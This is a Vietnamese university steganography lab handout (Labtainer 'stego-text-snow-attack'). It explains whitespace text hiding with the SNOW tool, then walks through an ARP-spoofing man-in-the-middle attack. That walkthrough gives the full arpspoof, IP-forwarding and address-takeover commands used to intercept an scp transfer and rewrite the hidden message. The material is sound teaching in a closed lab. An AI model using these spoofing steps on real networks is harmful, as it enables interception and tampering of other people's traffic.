HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG

KHOA AN TOÀN THÔNG TIN

HỌC PHẦN: KĨ THUẬT GIẤU TIN

MÃ HỌC PHẦN: INT14102

Lab: stego-text-snow-attack

Sinh viên thực hiện: Phạm Thùy Trang

Mã sinh viên: B21DCAT184

Hà Nội 2025

BÀI THỰC HÀNH: STEGO-TEXT-SNOW-ATTACK

1. **Mục đích:**
   - Giúp sinh viên hiểu được cách thay đổi nội dung bản tin được giấu trong văn bản sử dụng khoảng trắng cuối dòng.
2. **Yêu cầu đối với sinh viên:**
   - Có kiến thức về giấu tin trong khoảng trắng và ARP spoofing.
3. **Nội dung lý thuyết:**

3.1. Giấu tin sử dụng khoảng trắng cuối dòng:

Nguyên tắc giấu tin vào cuối mỗi dòng dựa trên việc tận dụng các khoảng trắng thêm vào sau mỗi dòng có thể lưu trữ được một lượng lớn các bit. Các khoảng trắng ở cuối mỗi dòng có thể bị bỏ qua và không hiện lên các bởi các ứng dụng đọc văn bản. Trong toàn bộ văn bản, nếu giấu tin vào cuối mỗi dòng thì lượng bit thu được là rất lớn, có thể có đủ không gian để lưu trữ chuỗi bí mật.

Thuật toán giấu tin:

Đầu vào:

- Thông điệp bí mật

- Văn bản phủ

Các bước thực hiện:

Bước 1: Chuyển thông điệp bí mật thành dạng nhị phân

Bước 2: Đọc dạng nhị phân của thông tin bí mật và thêm khoảng trắng vào cuối mỗi dòng theo quy ước: 0 dấu cách sẽ tìm đến câu tiếp theo và tương đương không có bit thông tin nào được giấu trong đó; 1 dấu cách sẽ mã hóa 0; 2 dấu cách sẽ mã hóa 1.

Đầu ra:

- Văn bản phủ có chứa thông điệp

3.2. ARP Spoofing:

ARP spoofing (giả mạo ARP) là một kỹ thuật tấn công trong mạng cục bộ, trong đó kẻ tấn công gửi các gói ARP (Address Resolution Protocol) giả mạo vào mạng nhằm gian lận địa chỉ MAC. Mục tiêu là đánh lừa các thiết bị khác để chuyển hướng lưu lượng mạng qua máy của kẻ tấn công.

4. **Nội dung bài lab:**
   - Khởi động bài lab:

labtainer -r stego-text-snow-attack

- Sau khi khởi động xong, ba terminal ảo sẽ xuất hiện, gồm hai máy client và một máy attacker, cả 3 máy thuộc cùng một mạng LAN.
- Trước khi bắt đầu các bài lab, khởi chạy dịch vụ SSH của các máy:

sudo systemctl stop xinetd

sudo systemctl restart ssh

Task 1: Thực hiện tấn công ARP Spoofing và giả danh client2 để đánh lừa client1 gửi tin tới cho attacker

- Tại máy attacker, cài đặt công cụ dsniff:

sudo apt install dsniff

- Bật IP Forwarding:

sudo sysctl -w net.ipv4.ip_forward=1

- Giả mạo client2 với client1: Gửi gói ARP giả đến client1 để nó tin rằng attacker là client2

sudo arpspoof -i eth0 -t 172.22.1.10 172.22.1.20

- Giả mạo client1 với client2: Gửi gói ARP giả đến client2 để nó tin rằng attacker là client1

sudo arpspoof -i eth0 -t 172.22.1.20 172.22.1.10

- Gán địa chỉ IP 172.22.1.20 vào card mạng attacker để giả làm client2:

sudo ip addr add 172.22.1.20 dev eth0

Task 2: Giấu tin vào văn bản phủ và gửi cho máy client2

- Tại máy client1, di chuyển vào thư mục chứa công cụ snow:

cd snow

- Cài đặt snow để có thể sử dụng từ mọi thư mục:

sudo cp snow /usr/local/bin/

sudo chmod +x /usr/local/bin/snow

- Tạo một tệp văn bản bình thường:

echo "This is a normal message." > cover.txt

- Giấu thông điệp bí mật vào tệp văn bản:

snow -C -m "The password is: 1234" cover.txt message.txt

- Gửi tệp văn bản cho máy client2, tên và mật khẩu máy đích đều là ubuntu:

scp message.txt <tên máy đích>@<địa chỉ máy đích>:/home/ubuntu

- Khi chạy lệnh scp lần đầu sẽ báo “lost connection”, chúng ta sẽ chạy lại lệnh scp một lần nữa để gửi lại.

⇨ Mặc dù client1 gửi tệp văn bản tới cho client2, nhưng do attacker đã đánh lừa client1 nên attacker đã nhận được tệp văn bản đó.

Task 3: Đọc bản tin được giấu và sửa đổi nội dung

- Tại máy attacker, kiểm tra xem đã nhận được tệp văn bản chưa:

ls

- Di chuyển tệp văn bản vào thư mục chứa công cụ snow:

sudo mv message.txt snow

- Di chuyển vào thư mục chứa công cụ snow:

cd snow

- Cài đặt snow để có thể sử dụng từ mọi thư mục:

sudo cp snow /usr/local/bin/

sudo chmod +x /usr/local/bin/snow

- Giải mã đoạn khoảng trắng trong tệp văn bản để xem nội dung được giấu:

snow -C message.txt

- Ghi đè tin ẩn trong file bằng "The password is: 2468".

snow -m "The password is: 2468" -C message.txt message.txt

- Xóa IP giả mạo 172.22.1.20 để client2 có thể nhận file.

sudo ip addr del 172.22.1.20 dev eth0

- Gửi lại file (đã bị sửa đổi tin giấu) tới client2.

scp message.txt ubuntu@172.22.1.20:/home/ubuntu

Task 4: Kiểm tra bản tin

- Tại máy client2, kiểm tra đã nhận được tệp văn bản :

ls

- Di chuyển tệp văn bản vào thư mục chứa công cụ snow:

sudo mv message.txt snow

- Di chuyển vào thư mục chứa công cụ snow:

cd snow

- Cài đặt snow để có thể sử dụng từ mọi thư mục:

sudo cp snow /usr/local/bin/

sudo chmod +x /usr/local/bin/snow

- Giải mã đoạn khoảng trắng trong tệp văn bản để xem nội dung được giấu:

snow -C message.txt

⇨ Nhận được bản tin đã bị attacker sửa đổi.

- Kết thúc bài lab:
  - Kiểm tra checkwork:

checkwork

  - Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:

stoplab

  - Khởi động lại bài lab:

labtainer -r stego-text-snow-attack